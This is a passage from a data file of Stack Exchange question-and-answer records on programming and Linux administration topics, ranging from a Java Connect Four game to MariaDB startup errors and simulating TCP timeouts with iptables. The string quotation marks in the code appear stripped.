column.\\nThe objective of the game is to connect four of one's own discs of\\nthe same color next to each other vertically, horizontally, or\\ndiagonally before your opponent.\\n); //Intro text. NUMBER_OF_ROWS = 6;//Number of game board rows. NUMBER_OF_COLUMNS = 7;//Number of game board columns. MINIMUM_CHAIN_TO_WIN = 4;//Minimum number of sequential game pieces needed to win. player1GamePiece = ;//Sets Player 1 game piece. player2GamePiece = ;//Sets Player 2 game piece. gameOverAndPlayer1WinsAndPlayer2Wins = new Object[] {false, 0, 0}; //Setting default values for gameOverAndPlayer1WinsAndPlayer2Wins. gameOver = (boolean)gameOverAndPlayer1WinsAndPlayer2Wins[0]; player1Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[1]; player2Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[2]; outerLoop://Tracks number of matches played. for (match = 1; ; match++) { gameBoard = emptyBoard(NUMBER_OF_ROWS, NUMBER_OF_COLUMNS);//Resets game board. turnNumber = 1; System.out.println(_____________________________________________\\nMatch: + match + | Turn: + turnNumber + \\n);//Match and turn info. turnNumber++; printBoard(gameBoard);//Displays board. player = startingPlayerTurn(player1Wins, player2Wins);//Decides starting player turn. for (turnAlternator = player; ; turnAlternator++, turnNumber++) {//Tracks turn number and alternates between player turns. if (turnAlternator % 2 == 0) { player = 2; } else { player = 1; } dropPiece(gameBoard, getColumn(player, NUMBER_OF_COLUMNS, player1GamePiece, player2GamePiece) - 1, player, NUMBER_OF_COLUMNS, player1GamePiece, player2GamePiece);//Drops game piece into selected column. System.out.println(); System.out.println(_____________________________________________\\nMatch: + match + | Turn: + turnNumber + \\n);//Match and turn info. printBoard(gameBoard); gameOverAndPlayer1WinsAndPlayer2Wins = checkForWin(gameBoard, gameOverAndPlayer1WinsAndPlayer2Wins, NUMBER_OF_COLUMNS, MINIMUM_CHAIN_TO_WIN, player1GamePiece, player2GamePiece);//Checks game board for winning conditions. gameOver = (boolean)gameOverAndPlayer1WinsAndPlayer2Wins[0];//Updates gameOverAndPlayer1WinsAndPlayer2Wins. player1Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[1]; player2Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[2]; if (gameOver == true) {//If game is over, restarts the match. System.out.println(_____________________________________________\\nPlayer 1 wins: + player1Wins + | Player 2 wins: + player2Wins);//Number of times each player has won. if (player1Wins >= 10 && player2Wins == 0) {//If Player 2 is brutally losing, ends the game. System.out.println(_____________________________________________\\nPlayer 2, you should just give up now...); System.exit(0); } if (player2Wins >= 10 && player1Wins == 0) {//If Player 1 is brutally losing, ends the game. System.out.println(_____________________________________________\\nPlayer 1, you should just give up now...); System.exit(0); } gameOver = false; gameOverAndPlayer1WinsAndPlayer2Wins[0] = gameOver; continue outerLoop; } } } } public static String[][] emptyBoard (int NUMBER_OF_ROWS, int NUMBER_OF_COLUMNS) {//Generates empty game board. int row, column; String[][] emptyBoard; for (row = 0, emptyBoard = new String [NUMBER_OF_ROWS][NUMBER_OF_COLUMNS]; row < emptyBoard.length; row++) { for (column = 0; column < emptyBoard[row].length; column++) { emptyBoard[row][column] = [ ]; } } return emptyBoard; } public static void printBoard (String[][] gameBoard) {//Displays game board. int row, column, columnLabel; for (row = 0; row < gameBoard.length; row++) {//Prints each game board tile. for (column = 0; column < gameBoard[row].length; column++) { System.out.print(gameBoard[row][column]); } System.out.println(); } System.out.print( ); for (columnLabel = 1; columnLabel <= gameBoard[row - 1].length; columnLabel++) {//Adds column labels. System.out.print(columnLabel + ); } System.out.println(); } public static String[][] dropPiece (String[][] gameBoard, int column, int player, int NUMBER_OF_COLUMNS, String player1GamePiece, String player2GamePiece) {//Drops game piece into selected column. int row; outerLoop: for (row = gameBoard.length - 1; row >= -1; row--) { if (row < 0) {//If chosen column is full, asks for a different column. System.out.println(Column + (column + 1) + is already full.); dropPiece(gameBoard, getColumn(player, NUMBER_OF_COLUMNS, player1GamePiece, player2GamePiece) - 1, player, NUMBER_OF_COLUMNS, player1GamePiece, player2GamePiece); break; } if (gameBoard[row][column].equals([ ])) {//Drops game piece into next available row of the selected column. if (player == 1) { gameBoard[row][column] = [ + player1GamePiece + ]; break outerLoop; } if (player == 2) { gameBoard[row][column] = [ + player2GamePiece + ]; break outerLoop; } } } return gameBoard; } public static Object[] checkForWin (String[][] gameBoard, Object [] gameOverAndPlayer1WinsAndPlayer2Wins, int NUMBER_OF_COLUMNS, int MINIMUM_CHAIN_TO_WIN, String player1GamePiece, String player2GamePiece) {//Checks game board for winning conditions. int row, column, player1MaximumChain, player2MaximumChain, diagonalStartPoint, player1Wins, player2Wins, columnNumber, fullColumns; boolean gameOver; gameOver = (boolean)gameOverAndPlayer1WinsAndPlayer2Wins[0];//Updates Object array gameOverAndPlayer1WinsAndPlayer2Wins. Utilizing gameOverAndPlayer1WinsAndPlayer2Wins allows method checkForWin to return multiple data types. player1Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[1]; player2Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[2]; horizontalOuterLoop://Scanning in lines from left to right, checks game board for horizontal chains. Starts checking at top-left and stops checking at bottom-left. for (row = 0, player1MaximumChain = 1, player2MaximumChain = 1; row < gameBoard.length; row++) { for (column = 0; column < gameBoard[row].length - 1; column++){ if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row][column + 1].equals([ + player1GamePiece + ])) { player1MaximumChain++; if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won horizontally. player1Wins++; System.out.println(\\nPlayer 1 won horizontally!); gameOver = true; break horizontalOuterLoop; } } else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row][column + 1].equals([ + player2GamePiece + ])) { player2MaximumChain++; if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won horizontally. player2Wins++; System.out.println(\\nPlayer 2 won horizontally!); gameOver = true; break horizontalOuterLoop; } } else { player1MaximumChain = 1; player2MaximumChain = 1; } } player1MaximumChain = 1; player2MaximumChain = 1; } verticalOuterLoop://Scanning in lines from top to bottom, checks game board for vertical chains. Starts checking at top-left and stops checking at top-right. for (row = 0, column = 0, player1MaximumChain = 1, player2MaximumChain = 1; column < gameBoard[row].length; column++) { for (row = 0; row < gameBoard.length - 1; row++){ if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column].equals([ + player1GamePiece + ])) { player1MaximumChain++; if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won vertically. player1Wins++; System.out.println(\\nPlayer 1 won vertically!); gameOver = true; break verticalOuterLoop; } } else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column].equals([ + player2GamePiece + ])) { player2MaximumChain++; if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won vertically. player2Wins++; System.out.println(\\nPlayer 2 won vertically!); gameOver = true; break verticalOuterLoop; } } else { player1MaximumChain = 1; player2MaximumChain = 1; } } player1MaximumChain = 1; player2MaximumChain = 1; } diagonalDownRightOuterLoop1://Scanning in lines from top-left to bottom-right, checks game board for diagonal chains. Starts checking at bottom-left and stops checking at top-left. for (diagonalStartPoint = gameBoard.length - 2, player1MaximumChain = 1, player2MaximumChain = 1; diagonalStartPoint >= 0; diagonalStartPoint--) { for (row = diagonalStartPoint, column = 0; row < gameBoard.length - 1 && column < gameBoard[row].length - 1; row++, column++) { if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column + 1].equals([ + player1GamePiece + ])) { player1MaximumChain++; if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won diagonally. player1Wins++; System.out.println(\\nPlayer 1 won diagonally!); gameOver = true; break diagonalDownRightOuterLoop1; } } else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column + 1].equals([ + player2GamePiece + ])) { player2MaximumChain++; if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won diagonally. player2Wins++; System.out.println(\\nPlayer 2 won diagonally!); gameOver = true; break diagonalDownRightOuterLoop1; } } else { player1MaximumChain = 1; player2MaximumChain = 1; } } player1MaximumChain = 1; player2MaximumChain = 1; } diagonalDownRightOuterLoop2://Scanning in lines from top-left to bottom-right, checks game board for diagonal chains. Starts checking at top-left and stops checking at top-right. for (diagonalStartPoint = 1, player1MaximumChain = 1, player2MaximumChain = 1; diagonalStartPoint < gameBoard[0].length - 1; diagonalStartPoint++) { for (row = 0, column = diagonalStartPoint; row < gameBoard.length - 1 && column < gameBoard[row].length - 1; row++, column++) { if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column + 1].equals([ + player1GamePiece + ])) { player1MaximumChain++; if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won diagonally. player1Wins++; System.out.println(\\nPlayer 1 won diagonally!); gameOver = true; break diagonalDownRightOuterLoop2; } } else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column + 1].equals([ + player2GamePiece + ])) { player2MaximumChain++; if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won diagonally. player2Wins++; System.out.println(\\nPlayer 2 won diagonally!); gameOver = true; break diagonalDownRightOuterLoop2; } } else { player1MaximumChain = 1; player2MaximumChain = 1; } } player1MaximumChain = 1; player2MaximumChain = 1; } diagonalDownLeftOuterLoop1://Scanning in lines from top-right to bottom-left, checks game board for diagonal chains. Starts checking at bottom-right and stops checking at top-right. for (diagonalStartPoint = gameBoard.length - 2, player1MaximumChain = 1, player2MaximumChain = 1; diagonalStartPoint >= 0; diagonalStartPoint--) { for (row = diagonalStartPoint, column = gameBoard[row].length - 1; row < gameBoard.length - 1 && column > 0; row++, column--) { if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column - 1].equals([ + player1GamePiece + ])) { player1MaximumChain++; if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won diagonally. player1Wins++; System.out.println(\\nPlayer 1 won diagonally!); gameOver = true; break diagonalDownLeftOuterLoop1; } } else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column - 1].equals([ + player2GamePiece + ])) { player2MaximumChain++; if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won diagonally. player2Wins++; System.out.println(\\nPlayer 2 won diagonally!); gameOver = true; break diagonalDownLeftOuterLoop1; } } else { player1MaximumChain = 1; player2MaximumChain = 1; } } player1MaximumChain = 1; player2MaximumChain = 1; } diagonalDownLeftOuterLoop2://Scanning in lines from top-right to bottom-left, checks game board for diagonal chains. Starts checking at top-right and stops checking at top-left. for (diagonalStartPoint = gameBoard[0].length - 2, player1MaximumChain = 1, player2MaximumChain = 1; diagonalStartPoint > 0; diagonalStartPoint--) { for (row = 0, column = diagonalStartPoint; row < gameBoard.length - 1 && column > 0; row++, column--) { if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column - 1].equals([ + player1GamePiece + ])) { player1MaximumChain++; if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won diagonally. player1Wins++; System.out.println(\\nPlayer 1 won diagonally!); gameOver = true; break diagonalDownLeftOuterLoop2; } } else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column - 1].equals([ + player2GamePiece + ])) { player2MaximumChain++; if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won diagonally. player2Wins++; System.out.println(\\nPlayer 2 won diagonally!); gameOver = true; break diagonalDownLeftOuterLoop2; } } else { player1MaximumChain= 1; player2MaximumChain = 1; } } player1MaximumChain = 1; player2MaximumChain = 1; } for (columnNumber = 0, fullColumns = 0; gameOver != true && columnNumber < NUMBER_OF_COLUMNS; columnNumber++) {//If the game board is full but neither player has won, the game is drawn. if (!gameBoard[0][columnNumber].equals([ ])) { fullColumns++; if (fullColumns >= NUMBER_OF_COLUMNS) { System.out.println(\\nPlayer 1 and Player 2 drew the game!); gameOver = true; } } } gameOverAndPlayer1WinsAndPlayer2Wins[0] = gameOver;//Updates gameOverAndPlayer1WinsAndPlayer2Wins. gameOverAndPlayer1WinsAndPlayer2Wins[1] = player1Wins; gameOverAndPlayer1WinsAndPlayer2Wins[2] = player2Wins; return gameOverAndPlayer1WinsAndPlayer2Wins; } public static int getColumn (int player, int NUMBER_OF_COLUMNS, String player1GamePiece, String player2GamePiece) {//Gets column choice from user. int inputAsInt; String gamePiece; if (player == 1) { gamePiece = player1GamePiece; } else { gamePiece = player2GamePiece; } Scanner scanner = new Scanner(System.in); System.out.println(_____________________________________________\\nPlayer + player + , choose the column for your + gamePiece + piece.);//Shows the current player and their game piece. outerLoop: while (true) { while(!scanner.hasNextInt()) {//If input is not integer, asks user again. System.out.println(Your choice must be an integer. Try again!); scanner.next(); } inputAsInt = scanner.nextInt(); if (inputAsInt >= 1 && inputAsInt <= NUMBER_OF_COLUMNS) {//Saves input (if valid). break outerLoop; } else {//If input is not valid column, asks user again. System.out.println(Your choice must be between 1 and + NUMBER_OF_COLUMNS + . Try again!); continue; } } return inputAsInt; } public static int startingPlayerTurn (int player1Wins, int player2Wins) {//Decides starting player turn. int player; if (player1Wins == player2Wins) {//If both players have won equally often, starting player turn is randomly chosen. player = (int)((Math.random() * 2) + 1); } else if (player1Wins > player2Wins) {//If Player 1 has won more often, starting player turn is given to Player 2. player = 2; } else {//If Player 2 has won more often, starting player turn is given to Player 1 instead. player = 1; } return player; }}" , "title": "Connect Four in Java" , "tags": "java;beginner;game;array;connect four" } { "id": "_codereview.68107" , "question": "Is there a more clever way of writing this piece of code? It does work but I thought there might be a better way of returning a matrix from multiplying the parameter by itself.public static void Main(string[] args){ int[,] m1 = CreateMatrix(5); }static int[,] CreateMatrix(int rowscols){ int[,] result = new int[rowscols, rowscols]; int res = rowscols * rowscols; int counter= 0; for (int i = 0; i < rowscols; ++i) { for (int k = 0; k < rowscols; ++k) { result[i, k] = (res - counter); counter += 1; } } return result;}" , "title": "Returning multiplied matrix array" , "tags": "c#;matrix" } { "id": "_unix.42063" , "question": "I am trying to install the correct LAN card drivers on openSuse 12.1. This is the output of the log file for the autorun.sh script:-------------------------------Sun Jul 1 21:50:45 IDT 2012-------------------------------Sun Jul 1 21:59:26 IDT 2012make -C src/ cleanmake[1]: Entering directory `/home/shelly/r8168-8.031.00/src'make -C /lib/modules/3.1.0-1.2-desktop/build SUBDIRS=/home/shelly/r8168-8.031.00/src cleanmake: Entering an unknown directorymake: Leaving an unknown directorymake[1]: Leaving directory `/home/shelly/r8168-8.031.00/src'How can I figure out what went wrong?" , "title": "What went wrong with this driver install?" , "tags": "opensuse;make" } { "id": "_softwareengineering.300455" , "question": "I receive zip files and they have as content 8 different files, each with it's own metadata inside.I have to combine these files into 1 object containing certain metadata. The big issue here is that there will not always be 8 files and the metadata i want to retrieve could be in any of these files stored in there own way.for now i have created a factory method that initiates the correct parser for each file type and the parser returns the object with the metadata it was able to parse.Now when this is done i have 8 object's i have to merge into 1 result object with the metadata gathered from these results.so i could have something like thisobject Meta1 Meta2 Meta3 Meta4 Meta51 A - 15 RT -2 - - 15 - HIGH3 A - 15 RT HIGH4 - 65 - RT HIGHThis needs to have only 1 object as output:Meta1 Meta2 Meta3 Meta4 Meta5A 65 15 RT HIGHNow i'm wondering what would be the best strategy to solve this issueHave my parsers accept my Object as parameter, try to map the data and override if present and then return the Object to be passed again in the next ParserParse all the Object and try to merge them somehow in the endAnother strategy?" , "title": "Parsing an object from multiple source files" , "tags": "design patterns;object oriented design" , "accepted_answer": "Here I describe some similar work I did. Perhaps it will work for you. I had 7 different file formats across 2 different files. What I must assume is that your meta-data is effectively keys. Otherwise how can one possibly know which records to merge?Create a CommonData classA single class to hold any record from any file.A property for each possible meta-field from any incoming fileA property to hold the entire recordAs you clearly illustrate - Where meta-fields are the same, there is only one. I.E. only 1 Meta1, Meta2Populate only the appropriate meta fields for a given file/record format. An enum identifing the record type - what file it comes from essentially; or for me, the file format.Has an IEqualityComparerCommonDataEqualityComparerImplements IEqualityComparerIn my solution your meta data were my keys that defined equality for each given record type (file).The equality-comparer object is passed into the CommonData constructor.An enum to identify each source file or unique file format. The Factorytakes the raw record and it's type - enum valueFactory passes to appropriate parser based on the enum valueFactory returns new CommonData object, with it's record-type-specific CommonDataEqualityComparer implementation.CommonDataCollectionBetween the equality-comparer implementations and RecordType property we can find, match, etc. records for each file type. " } { "id": "_unix.134896" , "question": "I have the following line in the rsyslog config file:*.*;auth,daemon,kern,user -/dev/logiand it does what it should, but I wanted to send some iptables logs to a different file, so I added the following content to the rsyslog.conf file::msg,contains,IPTABLES: /var/log/iptables& stopand I created /dev/fw device , but I have no idea how to send new content of the file to that device. Is there a way to do it?" , "title": "How to redirect logs to a fifo device?" , "tags": "logs;rsyslog;fifo" , "accepted_answer": "I finally found a solution.This is the fifo device I create when system boots:LOG_DEV=/dev/logiif [ ! -r $LOG_DEV ]; then mkfifo $LOG_DEV chmod 640 $LOG_DEV chown root:morfik $LOG_DEVfiI just added this to the /etc/init.d/rsyslog file.Having that device I can send all logs there by placing the following line in the /etc/rsyslog.conf file:*.* -/dev/logiIt's the fist line in the rules section, so every log goes there and continues processing other rules in the config file. The next rule in that file is::msg,contains,IPTABLES: /var/log/iptables& stopWhich sends the iptables logs to a specific file, and after doing so, rsyslog just stops processing the entries that contain IPTABLES: phrase. The next rules are just normal rules in the rsyslog config file. So I just got what I wanted -- all logs are sent to the fifo device + a separate log file for iptables entries." } { "id": "_unix.23334" , "question": "I have this kind of GCC multilib wrapper set up:#file: gcc#!/usr/bin/env bashgcc -m32 $@which essentially just wraps a 64-bit multilib gcc to act as a non-multilib 32-bit gcc. When I build something (like binutils for example), this spawns hundreds of bash processes, until even fork fails. How can I work around this?" , "title": "Simple wrapper scripts spawning 100s of bash processes" , "tags": "linux;bash;shell script" , "accepted_answer": "It appears you named your script gcc, put it in the path, and then called it recursively. Either name your script something different or use an explicit path to the gcc executable you actually want to use." } { "id": "_unix.223164" , "question": "when I run ls -l /dev/null /dev/zero /dev/tty I get:crw-rw-rw- 1 root root 1, 3 Aug 9 09:05 /dev/nullcrw-rw-rw- 1 root tty 5, 0 Aug 9 09:05 /dev/ttycrw-rw-rw- 1 root root 1, 5 Aug 9 09:05 /dev/zerowhat do the numbers 1 and 5 (after the group) indicate?" , "title": "ls -l numbers between the size and the group" , "tags": "ls" , "accepted_answer": "Those files are special files called devices.They don't have a size parameter, but two number called major and minor number.Major is somehow related to type of device (terminal, disks, network interface, filesystems).Minor is related instance number.I use the word related, you simply do not count, different disk might have different major number. Computing of this two value is complex, and is mostly done by your OS.HP-UX use insf -e to create those deviceSolaris use devfsadm -c disk for diskAIX use cfgadm -a (from memory)EDIT:b) you seldom have a use for those number, as I mention misceleanous utilities manage them for you. a) you mostly cannot manualy compute those number. You know them or not. I use them only once, in HP-UX 11Iv1, volume group creation involve using mknod /dev/vgX c 64 0x010000 , 64 being major and 0X010000 being minor. It was user responsabilities to manage minor number." } { "id": "_reverseengineering.9209" , "question": "i'm getting started with some reverse engineering lately , especially on linux and ELF format , but i'm struggling here.For now i'm only using GDB to disassemble binaries , and even though i can read and understand the assembly code in general , i don't know where to look , or what register to check to find the Flag (i'm talking about CTFs here)so what i'm asking for are books , or videos , something to get me used to GDB and give me the thinking methodology (if there's such a thing).Thanks !" , "title": "Books on reversing with GDB?" , "tags": "disassembly;gdb" , "accepted_answer": "Special for beginners Dennis Yurichev wrote this book:Reverse Engineering for BeginnersYou can find it and download on his site for free.Topics discussed: x86/x64, ARM/ARM64, MIPS, Java/JVM.Topics touched: Oracle RDBMS, Itanium, copy-protection dongles, LD_PRELOAD, stack overflow, ELF, win32 PE file format, x86-64, critical sections, syscalls, TLS, position-independent code (PIC), profile-guided optimization, C++ STL, OpenMP, win32 SEH." } { "id": "_webmaster.57298" , "question": "Are there any stats about how many Google/Bing users may be selecting country (as in the pic) in the SERP?As Susan says in here that geotargeting in GWT only works when users select a country as in the pic above. If it's small percentage then there won't be much use geotargeting wesite/pages by Webmasters." , "title": "How many users see Google search results just for their own country?" , "tags": "geotargeting;country specific;search results" } { "id": "_computerscience.4340" , "question": "my code :A.layout('neato', args='-Gsep=+250 -Gsplines=ortho -Goverlap=false')A.draw('1.svg')#do something, add new nodes with pos to A,add_some_nodes_to_A()for node in A.nodes(): node.attr['pos'] += '!' node.attr['pin'] = 'true'A.layout('neato', args='-Gsep=+250 -Gsplines=ortho -Goverlap=false - Gnotranslate=true')A.draw('2.svg')1.svg :2.svg : before the second layout, all A's nodes have pined, why the nodes move in 2.svg? " , "title": "why pygraphviz layout() move the nodes which has 'pin = true'?" , "tags": "vector graphics" } { "id": "_cs.48286" , "question": "I'm studying my notes for a formal language course and it them it statesThe vast majority of languages over a finite alphabet cannot be represented by a finite specification.I don't understand this. What is meant by specification? It then goes on to show why this is true by showing some sets of the alphabet are countably infinite and others are uncountably infinite. " , "title": "What is meant by a language have a finite specification?" , "tags": "formal languages" } { "id": "_softwareengineering.241054" , "question": "I have a use case where I need to create say two javascript objects & use their properties in one another. eg - var Object1 = { settings: { property1: 'someValue', property2: 'someValue' }}var Object2 = { foreignProperty: Object1.settings.property1;}I wanted to know if its alright to use a reference object for settings if I know that I will be using the settings property a lot. eg- var Object1Settings, Object1 = { settings: { property1: 'someValue', property2: 'someValue' }}var Object1Settings = Object1.settings;var Object2 = { foreignProperty: Object1Settings.property1;}Is this approach acceptable in terms of right ways of coding & performance?Thanks" , "title": "Is it alright to create another reference to a javascript object just for ease of access" , "tags": "javascript" , "accepted_answer": "Not only it increases readability, but such code also runs way faster.Generally when programming I believe this is the order of priorities:ReadibilityCPU performanceSaving memoryBased on this you can see, that caching any value is probably a good idea. It costs memory and saves you CPU cycles.But I hope you do know that changing Object2.foreignProperty will render original Object1.settings.property1 unchanged." } { "id": "_unix.327865" , "question": "I've just installed the mariadb package and doesn't work (doesn't start), I've these outputs:systemctl status -l mariadb.service mariadb.service - MariaDB database server Loaded: loaded (/usr/lib/systemd/system/mariadb.service; disabled; vendor preset: disabled) Active: inactive (dead)journalctl | grep mariadb | tail action org.freedesktop.systemd1.manage-units for system-bus-name::1.110 [systemctl start mariadb.service] (owned by unix-user:velzm) dic 04 08:17:21 nmveliz systemd[1]: mariadb.service: Main process exited, code=exited, status=1/FAILURE dic 04 08:17:21 nmveliz systemd[1]: mariadb.service: Unit entered failed state. dic 04 08:17:21 nmveliz systemd[1]: mariadb.service: Failed with result 'exit-code'.systemctl status mariadb.service mariadb.service - MariaDB database server Loaded: loaded (/usr/lib/systemd/system/mariadb.service; disabled; ven Active: failed (Result: exit-code) since Sat 2016-12-03 16:44:12 CST; Process: 1959 ExecStart=/usr/sbin/mysqld $MYSQLD_OPTS $_WSREP_NEW_CLUST Process: 1906 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] Process: 1903 ExecStartPre=/bin/sh -c systemctl unset-environment _WSRE Main PID: 1959 (code=exited, status=1/FAILURE)dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396413908 dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816 dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816 dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816 dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816 dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816 dic 03 16:44:12 nmveliz systemd[1]: mariadb.service: Main process ex dic 03 16:44:12 nmveliz systemd[1]: Failed to start MariaDB database dic 03 16:44:12 nmveliz systemd[1]: mariadb.service: Unit entered fa dic 03 16:44:12 nmveliz systemd[1]: mariadb.service: Failed with res lines 1-18/18 (END)journalctl -xedic 03 16:56:30 nmveliz mysqld[2707]: 2016-12-03 16:56:30 1401676738dic 03 16:56:30 nmveliz mysqld[2707]: 2016-12-03 16:56:30 1401676738dic 03 16:56:30 nmveliz mysqld[2707]: 2016-12-03 16:56:30 1401676738dic 03 16:56:31 nmveliz mysqld[2707]: 2016-12-03 16:56:31 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401670818dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676737dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz systemd[1]: mariadb.service: Main process exdic 03 16:56:33 nmveliz systemd[1]: Failed to start MariaDB database-- Subject: Unit mariadb.service has failed-- Defined-By: systemd-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel-- -- Unit mariadb.service has failed.-- -- The result is failed.dic 03 16:56:33 nmveliz systemd[1]: mariadb.service: Unit entered fadic 03 16:56:33 nmveliz systemd[1]: mariadb.service: Failed with resdic 03 16:56:33 nmveliz sudo[2649]: pam_unix(sudo:session): session " , "title": "Antergos MariaDB problems" , "tags": "arch linux;mysql;mariadb;antergos" } { "id": "_unix.136642" , "question": "For network catastrophe simulations of our server environment, we are looking for a way to intentionally timeout a TCP socket. Are there any simple ways for existing sockets? Also, little C test-case program would be a plus.We have already tried putting down network interfaces during TCP buffer reading, and reading from disconnected mounted resources (samba).Out test server is Ubuntu 12.04.4." , "title": "How to make a TCP socket time out" , "tags": "socket;timeout" , "accepted_answer": "To cause an exiting connection to timeout you can use iptables. Just enable a DROP rule on the port you want to disable. So to simulate a timeout for your Samaba server, while an active connection is up, execute the following on the server:sudo iptables -A INPUT -p tcp --dport 445 -j DROPThe DROP target will not reply with a RST packet or ICMP error to the packet's sender. The client will stop receiving packets from the server and eventually timeout. Depending on if/how you have iptables configured, you may want to insert the rule higher into the INPUT ruleset." } { "id": "_unix.309150" , "question": "I am trying to decrease the size of my .ppt presentations by converting them to .odp/.wps-format, since they take several GBs memory because of big pictures and audio content in slides. I would like to store the presentations in smaller space without losing quality i.e. picuters and audio. WPS OfficeWPS office > Save as > jpg of every slide; which does a very good work in extracting the images; I have not found yet any terminal tool for the task of many .ppt files; the 2-month-old release is alpha but much more stable than the previous ones (> 100 Mb .ppt files) and can render much better .ppt files than LibreOffice presentation. I already contacted the company about the task with a link to this thread. I already sent a related question in their Linux Community of the application but they have not approved it yet here.LibreOfficeI do when I have soffice in my PATH but getmasi@masi:~/$ ppt2odp test.ppt Failed to connect to /usr/lib/libreoffice/program/soffice.bin (pid=10643) in 6 seconds.Connector : couldn't connect to socket (Success)Error: Unable to connect or start own listener. Aborting.masi@masi:~/$OS: Debian 8.5 64 bitLinux kernel: 4.6Hardware: Asus Zenbook UX303UA " , "title": "How to minimise size of .ppt presentations without losing Pictures and Audio in LibreOffice/WPS-office?" , "tags": "libreoffice;wps office" , "accepted_answer": "There is no sufficient extraction tool for the task at the monte, so you cannot minimise the presentation size sufficiently for the task requirement. WPS can render such documents best in Linux. The only workaround is manually store at least audios in the presentations at the moment. There should exist reliable tools for the extraction of pictures in the presentations. " } { "id": "_webmaster.38196" , "question": "I'm using cPanel to host my website. I need to enable 'mod_rewrite' on this Shared Hosting cPanel account to run my script. I've tried to Google the solutions high and low but did not find any luck yet.Those tutorials that I found only work well with VPS and some of them said that, only hosting provider can change and enable it. But, some of them said that, it can be done easily by editing the .htaccess file.My question:If I want to edit the .htaccess file, what should I include in that file?What the 'rules' and 'conditions' that should be included?" , "title": "Enable 'mod_rewrite' Using .htaccess File On cPanel Shared Hosting Server" , "tags": "apache;htaccess;mod rewrite" } { "id": "_unix.15095" , "question": "I have the following problem. I collected data on reaction time from over 100 participants for an experiment I am running. Unfortunately, the separators between fields were not consistent, but after a lot of heartache with sed, I have managed to solve this problem.The experiment was divided into blocks (5 for each participant) and what I need is each block to be outputted on its own line, separated by commas. Here is a sample of my datafile:Participant: 2456, Test: Optimism IAT. Format is stimulus , correct(1)/incorrect(0) , time(ms). Writes 10 trials per line.17/01/2011, 12:46:03 ,Block 1: , Theirs , 1 , 1921 , Myself , 1 , 928 , Them , 1 , 716 , Theirs , 1 , 720 , Myself , 1 , 533 